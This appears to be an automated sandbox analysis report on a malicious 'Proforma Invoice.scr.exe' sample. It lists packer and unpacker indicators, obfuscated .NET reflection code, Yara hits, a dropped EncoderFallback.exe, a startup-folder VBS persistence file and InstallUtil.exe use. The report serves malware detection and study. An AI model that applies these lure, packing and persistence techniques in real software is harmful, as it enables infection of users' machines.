Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003578000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003B98000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002CBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Proforma Invoice.scr.exe, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003578000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002911000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003B98000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002CBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs

.Net Code: Type.GetTypeFromHandle(a5LH887NkAJ9KItLhcU.qmHB75aU9A(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(a5LH887NkAJ9KItLhcU.qmHB75aU9A(16777252)),Type.GetTypeFromHandle(a5LH887NkAJ9KItLhcU.qmHB75aU9A(16777284))})

.NET source code contains potential unpacker

Source: Proforma Invoice.scr.exe, Aqzdppc.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: EncoderFallback.exe.0.dr, Aqzdppc.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 0.2.Proforma Invoice.scr.exe.6360000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Proforma Invoice.scr.exe.6360000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Proforma Invoice.scr.exe.6360000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Proforma Invoice.scr.exe.6360000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Proforma Invoice.scr.exe.6360000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.6430000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.38513e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.3943e00.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2480782000.0000000006430000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Code function: 0_2_06DC3E01 push es; ret	0_2_06DC3E07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B70C54 push ebx; retf	3_2_00B70C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_00B70C45 push ebx; retf	3_2_00B70C52
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Code function: 6_2_07383E01 push es; ret	6_2_07383E07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F70C53 push ebx; retf	7_2_00F70C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_00F70C45 push ebx; retf	7_2_00F70C52

Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'IG552r4FoQDWp1Lmq4C'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, psDPth7zcdHJ8jQAYFF.cs	High entropy of concatenated method names: 'IL0KcrL9DR', 'jTKKZCXn7N', 'dHFKH6BdOp', 'voOKOSFAxX', 'eHnKQ5YnSO', 'sFRKV3eFd0', 'MjMKyJJrb1', 'bk61Xm6atF', 'pZtK0B8HBt', 'xrRKNi0r14'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, X9GnBCIAa43rtnS11oP.cs	High entropy of concatenated method names: 'NNFIgl5MZs', 'ruuIaUJ3qs', 'ChprMBUUSjPyZQwXTE3', 'BvKpmgU424Mu9ayYcew', 'vKoQqiUjiKNQlGfVqZv', 'sNskefUnEdBjYYXGUFR', 'lF7AGwUGXJSquFwL1p6', 'qUMxv6U6QJq7DMWFlKR', 'W0GkNaUWgJ2ZNfCqKny', 'R2jLcVUBKO4FwDpwaCh'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs	High entropy of concatenated method names: 'v6sDJP42Iq7xZxby1UV', 'VrCfJr4qxSvkZThgIjZ', 'VeB77Txuj9', 'jedMFu4t4cC8DG1TgSc', 'vZpePM4CWkZdEhOPx3U', 'lehmaL4m8JQnUwwjUEs', 'hganrV43xqQSaMaMRaF', 'K8u2Pq4r2CduEuUSSBh', 'Ohpmi84dv1bvfD1mr2D', 'nuwyBq4Sh45IefRGByg'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, lx2PSRMF3CQCnUwdnWI.cs	High entropy of concatenated method names: 'OyoMEguRYI', 'ODXM18j5R4', 'jLyMolYu8E', 'D8KM5kniYT', 'hYuMAKH7jc', 'tLwMK9HD31', 'JJUMgcOZ26', 'KHTMaqoItd', 'sciMl33k9D', 'JQxMkdGYmT'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, wMZRowFyUyw4p8mstA6.cs	High entropy of concatenated method names: 't7NFNyQLa5', 'GoQBIXUi0k4evAIGcrI', 'xPQc94URNDLGfeMQ1oi', 'ueUVkPUMEoL7y3mpXPS', 'ztv2bwUbBqfgHdRVltG', 'xG87htUJNYXjmkDcpb0'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, wVWhag7hvjBwj3O1Nm1.cs	High entropy of concatenated method names: 'Iab7wJ7Pg6', 'MNS7TGslvQ', 'EeS7fsowuU', 'uoZ7t3kym4', 'AxN7CWSMcQ', 'bPs7mKtiSC', 'm3P73Aounx', 'mgb7rwOSfg', 'T047dEa0D7', 'foN7SieGVI'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, MY3AT2RNNgI03btKK3V.cs	High entropy of concatenated method names: 'MpeRDiOKB0', 'otWRp7NPrR', 'i9ARY8eqrF', 'wowRhBs4cx', 'o8oReoCAA6', 'ND6Njxh5gHHggDsQ1Hc', 'sEUAk2hAYgJMDGk10Mc', 'Ga0FTIhK6lMr1uPouTY', 'FTEO0Nhgn6m5fL0C7Y6', 'ls7LmmhanUSu5KqlAtE'

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File created: C:\Users\user\AppData\Roaming\EncoderFallback.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
